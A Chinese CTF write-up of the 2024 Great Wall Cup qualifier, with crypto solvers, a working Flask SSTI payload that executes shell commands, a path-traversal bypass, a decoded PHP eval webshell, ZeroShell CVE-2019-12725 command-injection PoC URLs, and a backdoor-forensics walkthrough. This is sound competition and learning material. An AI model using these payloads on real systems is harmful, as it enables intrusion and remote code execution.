2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

admin 2024年12月16日22:00:03评论57 views字数 26345阅读87分49秒阅读模式







  今天,我们主要揭晓有关第十八届全国大学生信息安全竞赛(创新实践能力赛)暨第二届“长城杯”铁人三项赛 (防护赛)线上初赛的部分题目。团队成员也在初赛中获得了不菲的成绩,后续更多分享敬请关注ZeroPointZero安全团队!








2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

Crypto

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP





01
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
rasnd

题目:  

from Crypto.Util.number import getPrime, bytes_to_long  from random import randint  import os  
FLAG = os.getenv("FLAG").encode()  flag1 = FLAG[:15]  flag2 = FLAG[15:]  
def crypto1():      p = getPrime(1024)      q = getPrime(1024)      n = p  q      e = 0x10001      x1=randint(0,211)      y1=randint(0,2114)      x2=randint(0,211)      y2=randint(0,2514)      hint1=x1p+y1q-0x114      hint2=x2p+y2q-0x514                          c = pow(bytes_to_long(flag1), e, n)      print(n)      print(c)      print(hint1)      print(hint2)  
def crypto2():      p = getPrime(1024)      q = getPrime(1024)      n = p  q      e = 0x10001      hint = pow(514p - 114q, n - p - q, n)      c = pow(bytes_to_long(flag2),e,n)      print(n)      print(c)      print(hint)  print("==================================================================")  crypto1()  print("==================================================================")  crypto2()  print("==================================================================")


flag分为两部分,第一部分用4个随机数与p,q组成了两个等式,我们要利用这两个等式求出p,q来解第一部分的flag,我们知道hint1 和 hint2是与p和q相关的线性组合hint1=x1_p+y1_q-0x114  hint2=x2_p+y2_q-0x514,这两个等式可以表示为hint1=x1⋅p+y1⋅q+C1,hint2=x2⋅p+y2⋅q+C2,其中C1 和 C2 是常数,根据数论的性质,如果 a 和 b 是两个整数,且 d=gcd⁡(a,b)那么d 也是 a 和 b 的任何线性组合的因子,这意味着:如果我们能够构造出两个: k 和 w 的线性组合,使得包含 p 或 q 的因子,这里需要爆破,那么gcd(k−w,n) 将会返回一个因子,这里我假设返回的是n的一个因子,后面发现还真的是。 nc获取数据: 

  


nc获取数据:  

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

第一部分解密脚本:  

from tqdm import trange  from Crypto.Util.number import   from gmpy2 import   
n= 18088011671538976982165525440386623289385114080576725768019061415671826851943445221226512589098669346404026374951858999387217508024789211498259452109214556714912857033124082966625646395283686312524015320926512455915546499413478756620357509821566076816579297882375786426816605611526775168996549051600931509019387185312619492222782269305011713051789911005317468583129891804202627825567966747213383425120088700132546120060985737910313952154697082271457880737295887007466461730433266268402482331178579951103721119735101467400195497116119485338923706700491486973150788317315356357101151829456342562867587099598945192815263  c = 9672261292049179510539936121485683732050798623479355794472893221642511300800280335280454378943002919160802677245360275424484528013159261954493742998677309529673790654057091714075262162318494670714730092015059383281995469507344322339633183388332778604852910046402244856048524492616127009392735657588616348180165737939024483272404465691736500951998475167207424220354207033328796782335018476327594119671551311477701303163670617853496320673657883624554669421593020604921475875559320715926280873207029420395750055202639374682706327888026109861279966152066895569848791223114397562133543690771564722708438398302054378748382  hint1 = 1876377888814200677442129576675996706468631990804911325305925446297494237080972549459539078790790063918048118238573069981792229335343412599922437368079227142591323977848118125493649176850872826534420257631894221784255713060216558942913054972531098351649650098921170981304230776828706602102714925788415307347441588418154129396919337838110092813  hint2 = 4577144295703606484123914611409444377581187954194894627593999949721725631702229741058762926738731162033453968685003890648825426935166041938739780782092132921278035040699628683026895248136976510810097939718444896419804529003179001092641108224659396765795452144064815761341321104087246151217134879547607066758663682702357666390897071886395518123041544718060193617760547848107588540156504758935787543246553706035451249171216368368607224982935938619089301863944851318  
for i in trange(211):      for w in range(211):          k = (hint1 + 0x114)  i          w = (hint2 + 0x514)  w          l = gcd(k - w, n)          if l != 1 and isPrime(l):              p = l              q = n // p              d = inverse(65537, (p - 1)  (q - 1))              m = pow(c, d, n)              print(long_to_bytes(m).decode())

_   第二部分就比较简单了,推个等式利用Z3就可以求出p,q   

推导:

__<font style="color:#333;">在 RSA 加密中,主要有以下几个参数:  </font>__<font style="color:#333;">- 模数 ( n ):由两个大素数 p 和 q 的乘积构成,即 n=p×q  </font>__<font style="color:#333;">- 公钥指数 ( e ):通常是一个小的常数(如 65537),用于加密过程  </font>__<font style="color:#333;">- 私钥 ( d ):用于解密过程,通常通过d≡e−1mod(p−1)(q−1) 计算得出  </font>__<font style="color:#333;">线性组合的构造:  </font>__<font style="color:#333;">我们可以构造一个线性组合比如:k=514p−114q  </font>__<font style="color:#333;">这个组合可以看作是 p 和 q 的某种关系,我们可以将其视为一个新的变量 k  </font>__<font style="color:#333;">计算 hint:  </font>__<font style="color:#333;">我们要计算的 hint 是:  </font>__<font style="color:#333;">hint=pow(514p−114q,n−p−q,n)  </font>__<font style="color:#333;">这表示将 514p−114q 提升到 n−p−q 的幂,然后对 n 取模  </font>__<font style="color:#333;">推导过程:  </font>__<font style="color:#333;">n−p−q  </font>__<font style="color:#333;">根据 RSA 的性质,我们知道:  </font>__<font style="color:#333;">n=p×q  </font>__<font style="color:#333;">因此n−p−q 可以表示为:  </font>__<font style="color:#333;">n−p−q=pq−p−q  </font>__<font style="color:#333;">计算 hint  </font>__<font style="color:#333;">将 k 代入 hint 的计算中:  </font>__<font style="color:#333;">hint=pow(514p−114q,n−p−q,n)  </font>__<font style="color:#333;">解释 hint  </font>__<font style="color:#333;">这个 hint 的计算实际上是将 514p−114q 的结果提升到 n−p−q 的幂,并对 n 取模。这个操作在 RSA 中是合法的,因为我们在模 n 的范围内进行运算  </font>__<font style="color:#333;">从 hint 的定义出发:  </font>__<font style="color:#333;">hint=pow(514p−114q,n−p−q,n)  </font>__<font style="color:#333;">这意味着:  </font>__<font style="color:#333;">hint≡(514p−114q)(n−p−q)modn  </font>__<font style="color:#333;">求逆:  </font>__<font style="color:#333;">如果我们想要得到514p−114q,我们可以通过求逆来实现:  </font>__<font style="color:#333;">(514p−114q)≡hint ^ (n−p−q) ^ −1 mod n  </font>__<font style="color:#333;">这意味着:  </font>__<font style="color:#333;">514p−114q ≡ inverse(hint, n) mod n  </font>_所以可以利用这个关系组成个等式,来求出两个未知数  

 所以可以利用这个关系组成个等式,来求出两个未知数    

from Crypto.Util.number import   from z3 import   n = 19270469180149377263192680520819033524539225081011510973771491132573055666673351141996751197354363664966014556774615485934908980461758850357009251309139628221564453417674382327302421186462670811373716926240975834774481469724971880623608600218091329795743254370563097739791612527201215958971410743353451459144002124470888119861714861743318989005059458006392282025661284787801335449493817479339656692022153914190452646349608988234249089757979295313780035505101668837926927936182966948338603241612244642741597658758777488950156533305392860253251286264242993704349899118371704510160880572747042643531951959235458650535201  c = 17922269792919020054615215743477596812624139562663477259751167464530271650542317088700713269485811397529339279516458231908605132062757375048865481634994627781161964719169079516071499023010331813470999183912373770424498490096501950489912324313610809253291227934210924561262506655227831816557706705271515382040988621473520356987673072721352470307538611049235274679949259625092930942227801261483611129856790200274136422472806003001953980483266780144214483509977936166152968674312795223620207142790023737286941892114758105363980960058996508562524135436561252121040044921523038783948500002980889791088501992627049267597054  hint = 19236929998880181808018278535269127648428289004903763893783918597013504816536557917002191668963373294797217170818500275763975145920076792641715979989044405220048466110491686882366659071341778289300858576719810757580192820193943223753948022827596919281442444812797548572128563878078576343846538381701558407690521650097077131251644013459573140665791665676168096886035764351033673931977943007462592700704650732813647930386012566936894017149333920203825492818595797754434803713959329583444899558835357904298974503703559166036391340551836013754747833877314394091456341194131951756729495427025667660222403204175396895401660  
k = inverse(hint, n)  p, q = Ints('p q')  s = Solver()  s.add(514  p - 114  q == k,p  q == n)  if s.check() == sat:      model = s.model()      p1 = model

.as_long()      q1 = model[q].as_long()      d = inverse(0x10001, (p1 - 1)  (q1 - 1))      m = pow(c, d, n)      print(long_to_bytes(int(m)).decode())

_<font style="color:#333;">  </font>_


2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP



02
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

fffffhash


题目:  

import os  from Crypto.Util.number import   def giaogiao(hex_string):      base_num = 0x6c62272e07bb014262b821756295c58d      x = 0x0000000001000000000000000000013b      MOD = 2*128      for i in hex_string:         base_num = (base_num  x) & (MOD - 1)          base_num ^= i      return base_num  

giao=201431453607244229943761366749810895688  
print("1geiwoligiaogiao")  hex_string = int(input(),16)  s = long_to_bytes(hex_string)  
if giaogiao(s) == giao:      print(os.getenv('FLAG'))  else:      print("error")


  审计可得:giaogiao 函数是一个自定义的哈希函数,接受一个十六进制字符串作为输入,使用乘法和异或操作来处理输入的字节,并返回一个计算结果,程序提示输入一个十六进制字符串,将其转换为字节,然后调用 giaogiao 函数进行计算,最后与预定义的常量 giao 进行比较,如果匹配,则输出环境变量 FLAG 的值,否则输出错误信息,这题想要采用爆破几乎是不可能的,所以还是得采用技巧,我们可以利用线性代数中的矩阵运算和数论中的模运算来进行解密,在解密代码中构建了一个矩阵 M,并通过增广和应用 BKZ(Block Korkin-Zolotarev)算法来处理这个矩阵,BKZ算法是一种用于解决整数线性规划问题的算法,通常用于寻找短向量或近似最优解,然后通过对矩阵的行进行操作,找到一个有效的解,这个解是通过线性组合得到的,总的来说就是通过构建和操作矩阵、应用算法和利用位运算的特性,能够有效地进行解密。

   

解密脚本:  

key = 0x6c62272e07bb014262b821756295c58d  p_value = 0x0000000001000000000000000000013b limit = 2 ^ 128  # 模数
wpk_value = 201431453607244229943761366749810895688  # 目标值
= 20  # 矩阵的维度
创建矩阵 M,包含 p 的幂和目标值的计算= Matrix.column([p_value^(n - i - 1for i in range(n)] + [-(wpk_value - key  p_value ^ n), limit])= M.augment(identity_matrix(n + 1).stack(vector([0]  (n + 1))))  # 增广矩阵= Matrix.diagonal([2^256+ [2^8]  n + [2^16])  # 对角矩阵= Q  # 矩阵乘法= M.BKZ()  # 应用 BKZ 算法/= Q  # 归一化

遍历矩阵 M,寻找满足条件的行for row in M:    if row[0== 0 and abs(row[-1]) == 1:        row = row[-1]          valid_solution = row[1:-1        break
answers = []  # 存储答案y_value = int(key  p_value) t_value = (key  p_value ^ n + valid_solution[0]  p_value ^ (n - 1)) % limit  # for i in range(n):    for x in range(256):        y_temp = (int(y_value) ^^ int(x))  p_value ^ (n - i - 1% limit  # 计算 y_temp        if y_temp == t_value:             answers.append(x)              if i < n - 1:                t_value = (t_value + valid_solution[i + 1]  p_value ^ (n - i - 2)) % limit                  y_value = ((int(y_value) ^^ int(x)) * p_value) % limit  # 更新 y            break
print(bytes(answers).hex())

  结果得到:1df2006d2e3362153d001f53102a7c2a0a591516,输入这个就可以得到flag

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP



2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
web
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




01
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
Safe_Proxy

from flask import Flask, request, render_template_stringimport socketimport threadingimport htmlapp = Flask(__name__)@app.route('/', methods=["GET"])def source():    with open(__file__, 'r', encoding='utf-8'as f:        return '<pre>'+html.escape(f.read())+'</pre>'@app.route('/', methods=["POST"])def template():    template_code = request.form.get("code")    # 安全过滤    blacklist = ['__''import''os''sys''eval''subprocess''popen''system''r''n']    for black in blacklist:        if black in template_code:            return "Forbidden content detected!"    result = render_template_string(template_code)    print(result)    return 'ok' if result is not None else 'error'class HTTPProxyHandler:    def __init__(self, target_host, target_port):        self.target_host = target_host        self.target_port = target_port    def handle_request(self, client_socket):        try:            request_data = b""            while True:                chunk = client_socket.recv(4096)                request_data += chunk                if len(chunk) < 4096:                    break            if not request_data:                client_socket.close()                return            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:                proxy_socket.connect((self.target_host, self.target_port))                proxy_socket.sendall(request_data)                response_data = b""                while True:                    chunk = proxy_socket.recv(4096)                    if not chunk:                        break                    response_data += chunk            header_end = response_data.rfind(b"rnrn")            if header_end != -1:                body = response_data[header_end + 4:]            else:                body = response_data                            response_body = body            response = b"HTTP/1.1 200 OKrn"                        b"Content-Length: " + str(len(response_body)).encode() + b"rn"                        b"Content-Type: text/html; charset=utf-8rn"                        b"rn" + response_body            client_socket.sendall(response)        except Exception as e:            print(f"Proxy Error: {e}")        finally:            client_socket.close()def start_proxy_server(host, port, target_host, target_port):    proxy_handler = HTTPProxyHandler(target_host, target_port)    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    server_socket.bind((host, port))    server_socket.listen(100)    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")    try:        while True:            client_socket, addr = server_socket.accept()            print(f"Connection from {addr}")            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))            thread.daemon = True            thread.start()    except KeyboardInterrupt:        print("Shutting down proxy server...")    finally:        server_socket.close()def run_flask_app():    app.run(debug=False, host='127.0.0.1', port=5000)if __name__ == "__main__":    proxy_host = "0.0.0.0"    proxy_port = 5001    target_host = "127.0.0.1"    target_port = 5000    # 安全反代,防止针对响应头的攻击    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))    proxy_thread.daemon = True    proxy_thread.start()    print("Starting Flask app...")    run_flask_app()

考了ssti

在/路由会有两种处理

使用get访问会读取当前的python脚本的内容 并返回源码

使用post方法会获取code的内容 黑名单进行过滤 然后渲染模板

绕过过滤

blacklist = ['__''import''os''sys''eval''subprocess''popen''system''r''n']

当前是无回显的ssti

我们要进行无回显的绕过 构造

我们可以使用fenjing来自动构造payload

我们有黑名单 我们可以本地起一个ssti

from flask import Flask, request, render_template_stringimport socketimport threadingimport htmlapp = Flask(__name__)@app.route('/', methods=["GET"])def source():    with open(__file__, 'r', encoding='utf-8'as f:        return '<pre>'+html.escape(f.read())+'</pre>'@app.route('/', methods=["POST"])def template():    template_code = request.form.get("code")    # 安全过滤    blacklist = ['__''import''os''sys''eval''subprocess''popen''system''r''n']    for black in blacklist:        if black in template_code:            return "Forbidden content detected!"    try:        result = render_template_string(template_code)        return result  # 直接返回渲染后的模板内容    except Exception as e:        return f"Error: {str(e)}"  # 返回错误信息class HTTPProxyHandler:    def __init__(self, target_host, target_port):        self.target_host = target_host        self.target_port = target_port    def handle_request(self, client_socket):        try:            request_data = b""            while True:                chunk = client_socket.recv(4096)                request_data += chunk                if len(chunk) < 4096:                    break            if not request_data:                client_socket.close()                return            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:                proxy_socket.connect((self.target_host, self.target_port))                proxy_socket.sendall(request_data)                response_data = b""                while True:                    chunk = proxy_socket.recv(4096)                    if not chunk:                        break                    response_data += chunk            header_end = response_data.rfind(b"rnrn")            if header_end != -1:                body = response_data[header_end + 4:]            else:                body = response_data                            response_body = body            response = b"HTTP/1.1 200 OKrn"                        b"Content-Length: " + str(len(response_body)).encode() + b"rn"                        b"Content-Type: text/html; charset=utf-8rn"                        b"rn" + response_body            client_socket.sendall(response)        except Exception as e:            print(f"Proxy Error: {e}")        finally:            client_socket.close()def start_proxy_server(host, port, target_host, target_port):    proxy_handler = HTTPProxyHandler(target_host, target_port)    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    server_socket.bind((host, port))    server_socket.listen(100)    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")    try:        while True:            client_socket, addr = server_socket.accept()            print(f"Connection from {addr}")            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))            thread.daemon = True            thread.start()    except KeyboardInterrupt:        print("Shutting down proxy server...")    finally:        server_socket.close()def run_flask_app():    app.run(debug=False, host='127.0.0.1', port=5000)if __name__ == "__main__":    proxy_host = "0.0.0.0"    proxy_port = 5001    target_host = "127.0.0.1"    target_port = 5000    # 安全反代,防止针对响应头的攻击    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))    proxy_thread.daemon = True    proxy_thread.start()    print("Starting Flask app...")    run_flask_app()

我们改成了有回显的ssti

本地运行

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

使用fenjing梭哈

提交表单完成,返回值为200,输入为{'code'"{%print g.pop['_'*2+'globals'+'_'*2]['_'*2+'builtins'+'_'*2]['_'*2+'i''mport'+'_'*2]('so'[::-1])['p''open']('cat /flag>app.py').read()%}"},表单为{'action''/''method''POST''inputs': {'code'}}

得到payload

url编码 运行

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


get访问路由/

就会访问app.py

我们就可以访问到flag

flag{0c518973-d0c3-49c1-bb4f-44f3074f484c}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




02
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
hello_web

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

发现 ../hackme.php

文件包含 ../hackme.php

但访问不到

有过滤 尝试绕过过滤

可以双写然后绕过过滤

....//hackme.php

http://eci-2zef3sej7rworr0h35d8.cloudeci1.ichunqiu.com/index.php?file=....//hackme.php

http://eci-2zef3sej7rworr0h35d8.cloudeci1.ichunqiu.com/index.php?file=....//hackme.php

查看上一级目录

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

查看tips

<?phphighlight_file(__FILE__);$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));?>
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


逐层输出

$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));


获取密码

<?phphighlight_file(__FILE__);$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";echo $YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));?>
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
</code><?php @eval($_POST['cmd_66.99']); ?>

非法字符传参 用[绕过

cmd[66.99

蚁剑连接

/var/run/log/13c448004444d2791e0661fa2f216b20/flag


找到flag

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

flag{7cc8ccc6-fcaf-4446-9f38-e1de21c0da97}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP



2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

威胁检测与网络流量分析

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




01
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

zeroshell_1


分析流量

导入wireshark

搜索字符串flag 没找到

搜索flag的base64的形式开头Zmxh 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9

base64解码

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




02
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

zeroshell_2


https://peiqi.wgpsec.org/wiki/iot/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.html

找到了nday

ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725

poc

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20flag*%0A%27


找到flag

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

/Database/flag

/DB/_DB.001/flag

 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

c6045425-6e6e-41d0-be09-95682a4f65c4

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




03
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

zeroshell_3


http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Anetstat%20-ano%20%0A%27

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


查看外联的ip

发现了有一个202.115.89.103

看到了外联ip

flag{202.115.89.103}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


04
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
zeroshell_4

页面没有返回进程的PID



2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


只能上kali利用exp,netstat -anp列出进程

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

接下来用ls -l /proc/10751,来找其运行文件,找到为.nginx



2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

于是flag为.nginx

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




05
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

zeroshell_5


利用xxd/tmp/.nginx的二进制文件转化为十六进制(hex)格式



2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

查看页面代码

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

在里面找到了,可疑ip地址,猜测后面为它的密钥



flag{11223344qweasdzxc}




2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




06
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
zeroshell_6

在shell中不断查询⽂件,寻找包含".nginx"字符串的⽂件,最终在/var主⽬录下找到



2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
bash-4.3# grep -r '.nginx' /var /var/register/system/startup/scripts/nat/File:cp /Database/.nginx /tmp/.nginx/var/register/system/startup/scripts/nat/File:chmod +x /tmp/.nginx/var/register/system/startup/scripts/nat/File:/tmp/.nginxgrep: /var/register/system/startup/scripts/wireless/File: No such file ordirectorygrep: /var/register/system/startup/scripts/preboot/FileNo such file or directorygrep: /var/run/acpid.socket: No such device or addressbash-4.3# cat /var/register/system/startup/scripts/nat/Filecp /Database/.nginx /tmp/.nginxchmod +/tmp/.nginx/tmp/.nginxbash-4.3#

/var/register/system/startup/scripts/nat/File⽂件复制到/tmp⽬录然后给了执⾏权限并执⾏,所以就

是启动⽂件

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




07
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

WinFT_1


2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

看到hosts文件里有

猜测端口为80或443

flag{miscsecure.com:192.168.116.130:443}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




08
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
WinFT_2

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


计划任务中找到了字符串

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

base64解码

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


html解码

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

Nice,flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




09
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

WinFT_5


将流量包放到随波逐流里

然后进行分析 然后foremost提取出文件

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

提取出来了zip

用winrar打开

看文件的备注信息 发现了密码

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

5pe26Ze057q/5YWz6IGU6Z2e5bi46YeN6KaB

 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

时间线关联非常重要

密码 解压出flag

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




10
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
sc05_1

查找ip

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

2024/11/09_16:22:42

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

 

01df5bc2388e287d4cc8f11ea4d31929

flag{01DF5BC2388E287D4CC8F11EA4D31929}

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

PWN

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




01
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
anote

from pwn import *from pwncli import *from struct import packfrom ctypes import *elf_name = "./note"# io = process(elf_name)io = remote("39.107.73.132", 31040)# context(os="linux", arch="amd64")context(os="linux", arch="amd64", log_level="debug")elf = ELF(elf_name)lg_infos = []lga = lambda data: lg_infos.append(data)= lambda data: io.send(data)sl = lambda data: io.sendline(data)sa = lambda text, data: io.sendafter(text, data)sla = lambda text, data: io.sendlineafter(text, data)= lambda n: io.recv(n)ru = lambda text: io.recvuntil(text, timeout=0.1)rl = lambda: io.recvline()int16 = lambda a: int(a, 16)strencode = lambda a: str(a).encode()uu32 = lambda: u32(io.recvuntil(b"xf7")[-4:].ljust(4, b'x00'))uu64 = lambda: u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))iuu32 = lambda: int(io.recv(10), 16)iuu64 = lambda: int(io.recv(6), 16)uheap = lambda: u64(io.recv(6).ljust(8, b'x00'))lg = lambda data : io.success('%s -> 0x%x' % (data, eval(str(data))))ia = lambda: io.interactive()def log_all(): for lg_info in lg_infos: lg(lg_info)menu = 